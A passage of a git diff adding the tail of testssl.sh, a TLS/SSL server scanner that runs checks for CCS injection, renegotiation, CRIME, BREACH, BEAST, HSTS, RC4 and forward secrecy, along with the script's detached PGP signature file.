+ ccs_injection ; ret=`expr $? + $ret`
+ renego ; ret=`expr $? + $ret`
+ crime ; ret=`expr $? + $ret`
+ breach ; ret=`expr $? + $ret`
+ beast ; ret=`expr $? + $ret`
+
+ outln; blue "--> Testing HTTP Header response"; outln "\n"
+ hsts ; ret=`expr $? + $ret`
+ serverbanner ; ret=`expr $? + $ret`
+
+ rc4 ; ret=`expr $? + $ret`
+ pfs ; ret=`expr $? + $ret`
+
+ cleanup
+ exit $ret ;;
+esac
+
+# $Id: testssl.sh,v 1.112 2014/07/16 16:54:10 dirkw Exp $
+# vim:ts=5:sw=5
+
+
diff --git a/testssl.sh.asc b/testssl.sh.asc
new file mode 100644
index 0000000..31c21f7
--- /dev/null
+++ b/testssl.sh.asc
@@ -0,0 +1,7 @@
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.22 (GNU/Linux)
+
+iD8DBQBUP5Z+WZzt6LgYwDkRAoMnAJ4tITkta6Qz/Lyw+LvoHCOKQQO4fwCgzPV5
+W5F4cDr8NG/Qt5Kq839BNHU=
+=PNxH
+-----END PGP SIGNATURE-----